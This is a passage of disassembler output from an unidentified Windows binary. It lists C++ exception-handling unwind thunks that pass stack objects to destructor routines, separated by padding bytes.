--------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_438B4B: ; DATA XREF: ___:0043F29Co mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_401555 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B170 proc near ; DATA XREF: sub_40B170+2o mov eax, offset dword_43F270 jmp sub_4367C8 SEH_40B170 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B210 proc near ; DATA XREF: sub_40B210+2o mov eax, offset dword_43F2B8 jmp sub_4367C8 SEH_40B210 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438BC8: ; DATA XREF: ___:0043F324o lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B430 proc near ; DATA XREF: sub_40B430+2o mov eax, offset dword_43F2F8 jmp sub_4367C8 SEH_40B430 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438BF8: ; DATA XREF: ___:0040B5F2o mov eax, offset dword_43F338 jmp sub_4367C8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438C30: ; DATA XREF: ___:0040B8D8o mov eax, offset dword_43F368 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40C360 proc near ; DATA XREF: sub_40C360+2o mov eax, offset dword_43F3B0 jmp sub_4367C8 SEH_40C360 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-0A78h] jmp loc_401AFF ; --------------------------------------------------------------------------- loc_438C7B: ; DATA XREF: ___:0043F40Co lea ecx, [ebp-0A3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438C86: ; DATA XREF: ___:0043F414o lea ecx, [ebp-0A54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0A3Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40C400 proc near ; DATA XREF: sub_40C400+8o mov eax, offset dword_43F3E0 jmp sub_4367C8 SEH_40C400 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CB10 proc near ; DATA XREF: sub_40CB10+2o mov eax, offset dword_43F428 jmp sub_4367C8 SEH_40CB10 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-260h] jmp loc_40226B ; --------------------------------------------------------------------------- loc_438CEB: ; DATA XREF: ___:0043F484o lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438CF6: ; DATA XREF: ___:0043F48Co lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438D01: ; DATA XREF: ___:0043F494o lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438D0C: ; DATA XREF: ___:0043F49Co lea ecx, [ebp-278h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CBB0 proc near ; DATA XREF: sub_40CBB0+8o mov eax, offset dword_43F458 jmp sub_4367C8 SEH_40CBB0 endp ; --------------------------------------------------------------------------- db 1Fh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_438D4B: ; DATA XREF: ___:0043F4D4o mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CE60 proc near ; DATA XREF: sub_40CE60+2o mov eax, offset dword_43F4A8 jmp sub_4367C8 SEH_40CE60 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_438D7B: ; DATA XREF: ___:0043F50Co mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; --------------------------------------------------------------------------- loc_438D86: ; DATA XREF: ___:0040CEE2o mov eax, offset dword_43F4E0 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40D130 proc near ; DATA XREF: sub_40D130+2o mov eax, offset dword_43F518 jmp sub_4367C8 SEH_40D130 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-16Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438DEB: ; DATA XREF: ___:0043F58Co lea ecx, [ebp-184h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40D580 proc near ; DATA XREF: sub_40D580+2o mov eax, offset dword_43F560 jmp sub_4367C8 SEH_40D580 endp ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-5ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6ACh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-604h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-634h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-664h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-67Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-61Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-58Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-694h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5BCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-64Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40DB40 proc near ; DATA XREF: sub_40DB40+2o mov eax, offset dword_43F5D0 jmp sub_4367C8 SEH_40DB40 endp ; --------------------------------------------------------------------------- db 27h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438F28: ; DATA XREF: ___:0043F694o lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40E220 proc near ; DATA XREF: sub_40E220+2o mov eax, offset dword_43F668 jmp sub_4367C8 SEH_40E220 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438F78: ; DATA XREF: ___:0043F6ECo lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40E7A0 proc near ; DATA XREF: sub_40E7A0+2o mov eax, offset dword_43F6C0 jmp sub_4367C8 SEH_40E7A0 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438FC8: ; DATA XREF: ___:0043F744o lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40EC30 proc near ; DATA XREF: sub_40EC30+2o mov eax, offset dword_43F718 jmp sub_4367C8 SEH_40EC30 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40ED70 proc near ; DATA XREF: sub_40ED70+2o mov eax, offset dword_43F758 jmp sub_4367C8 SEH_40ED70 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439018: ; DATA XREF: ___:0043F7B4o lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439048: ; DATA XREF: ___:0040F148o mov eax, offset dword_43F788 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_439078: ; DATA XREF: ___:0043F814o mov ecx, [ebp-28h] add ecx, 28h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 3Dh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 56h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 84h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 0B2h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 0E0h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 10Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 13Ch jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 16Ah jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 198h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 1C6h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 1F4h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 222h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 250h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 27Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 2ACh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] add ecx, 2DAh jmp sub_401B54 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40F600 proc near ; DATA XREF: sub_40F600+2o mov eax, offset dword_43F7E8 jmp sub_4367C8 SEH_40F600 endp ; --------------------------------------------------------------------------- db 69h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_402031 ; --------------------------------------------------------------------------- loc_439268: ; DATA XREF: ___:0043F974o mov ecx, [ebp-10h] add ecx, 28h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Dh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 56h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 84h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B2h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E0h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 10Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 13Ch jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 16Ah jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 198h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1C6h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1F4h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 222h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 250h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 27Eh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2ACh jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40FDA0 proc near ; DATA XREF: sub_40FDA0+2o mov eax, offset dword_43F948 jmp sub_4367C8 SEH_40FDA0 endp ; --------------------------------------------------------------------------- db 47h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-247Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43939B: ; DATA XREF: ___:0043FA2Co lea ecx, [ebp-210Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-207Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4393B1: ; DATA XREF: ___:0043FA3Co lea ecx, [ebp-237Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4393BC: ; DATA XREF: ___:0043FA44o lea ecx, [ebp-21CCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4393C7: ; DATA XREF: ___:0043FA4Co lea ecx, [ebp-234Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4393D2: ; DATA XREF: ___:0043FA54o lea ecx, [ebp-2064h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4393DD: ; DATA XREF: ___:0043FA5Co lea ecx, [ebp-231Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4393E8: ; DATA XREF: ___:0043FA64o lea ecx, [ebp-219Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4393F3: ; DATA XREF: ___:0043FA6Co lea ecx, [ebp-20DCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-22ECh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439409: ; DATA XREF: ___:0043FA7Co lea ecx, [ebp-22BCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439414: ; DATA XREF: ___:0043FA84o lea ecx, [ebp-23DCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43941F: ; DATA XREF: ___:0043FA8Co lea ecx, [ebp-216Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43942A: ; DATA XREF: ___:0043FA94o lea ecx, [ebp-2424h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-23F4h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- mov eax, [ebp-2480h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-228Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-23C4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-225Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439499: ; DATA XREF: ___:0043FADCo lea ecx, [ebp-213Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4394A4: ; DATA XREF: ___:0043FAE4o mov eax, [ebp-2480h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- loc_4394B2: ; DATA XREF: ___:0043FAECo mov eax, [ebp-2480h] push eax call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-21FCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-20ACh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-222Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4394E1: ; DATA XREF: ___:0043FB0Co lea ecx, [ebp-2394h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-23ACh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4394F7: ; DATA XREF: ___:0043FB1Co lea ecx, [ebp-2334h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2364h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43950D: ; DATA XREF: ___:0043FB2Co lea ecx, [ebp-2304h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439518: ; DATA XREF: ___:0043FB34o lea ecx, [ebp-22D4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439523: ; DATA XREF: ___:0043FB3Co mov ecx, [ebp-2480h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43952E: ; DATA XREF: ___:0043FB44o lea ecx, [ebp-22A4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439539: ; DATA XREF: ___:0043FB4Co lea ecx, [ebp-2244h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2274h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43954F: ; DATA XREF: ___:0043FB64o lea ecx, [ebp-2214h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43955A: ; DATA XREF: ___:0043FB74o lea ecx, [ebp-21E4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439565: ; DATA XREF: ___:0043FB7Co lea ecx, [ebp-2184h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-21B4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43957B: ; DATA XREF: ___:0043FB94o lea ecx, [ebp-243Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-240Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439591: ; DATA XREF: ___:0043FBACo lea ecx, [ebp-2124h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2154h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4395A7: ; DATA XREF: ___:0043FBBCo lea ecx, [ebp-20F4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4395B2: ; DATA XREF: ___:0043FBC4o lea ecx, [ebp-2094h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-2464h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-20C4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4395D3: ; DATA XREF: sub_40FF60+8o mov eax, offset dword_43FA00 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 93h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_402031 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411860 proc near ; DATA XREF: sub_411860+2o mov eax, offset dword_43FC10 jmp sub_4367C8 SEH_411860 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_402031 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411910 proc near ; DATA XREF: sub_411910+2o mov eax, offset dword_43FC40 jmp sub_4367C8 SEH_411910 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4396B8: ; DATA XREF: ___:0043FC9Co mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 54h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 69h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411990 proc near ; DATA XREF: sub_411990+2o mov eax, offset dword_43FC70 jmp sub_4367C8 SEH_411990 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439718: ; DATA XREF: ___:0043FCF4o mov ecx, [ebp-10h] add ecx, 15h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2Ah jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3Fh jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 54h jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 69h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411A50 proc near ; DATA XREF: sub_411A50+2o mov eax, offset dword_43FCC8 jmp sub_4367C8 SEH_411A50 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411B40 proc near ; DATA XREF: sub_411B40+8o mov eax, offset dword_43FD20 jmp sub_4367C8 SEH_411B40 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4397E8: ; DATA XREF: ___:0043FDCCo lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_411FE0 proc near ; DATA XREF: sub_411FE0+8o mov eax, offset dword_43FDA0 jmp sub_4367C8 SEH_411FE0 endp ; --------------------------------------------------------------------------- db 2Dh dup(0CCh) ; --------------------------------------------------------------------------- loc_439890: ; DATA XREF: ___:0043FE6Co lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-48h] and eax, 1 test eax, eax jz locret_4398AE mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_4398AE: ; CODE XREF: ___:004398A0j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4126B0 proc near ; DATA XREF: sub_4126B0+2o mov eax, offset dword_43FE40 jmp sub_4367C8 SEH_4126B0 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4398D8: ; DATA XREF: ___:0043FEA4o lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_412970 proc near ; DATA XREF: sub_412970+8o mov eax, offset dword_43FE78 jmp sub_4367C8 SEH_412970 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_412C10 proc near ; DATA XREF: sub_412C10+2o mov eax, offset dword_43FEB0 jmp sub_4367C8 SEH_412C10 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439918: ; DATA XREF: ___:0043FF0Co lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-9Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43994E: ; DATA XREF: ___:00412CB8o mov eax, offset dword_43FEE0 jmp sub_4367C8 ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_43997B: ; DATA XREF: ___:0043FF6Co mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h 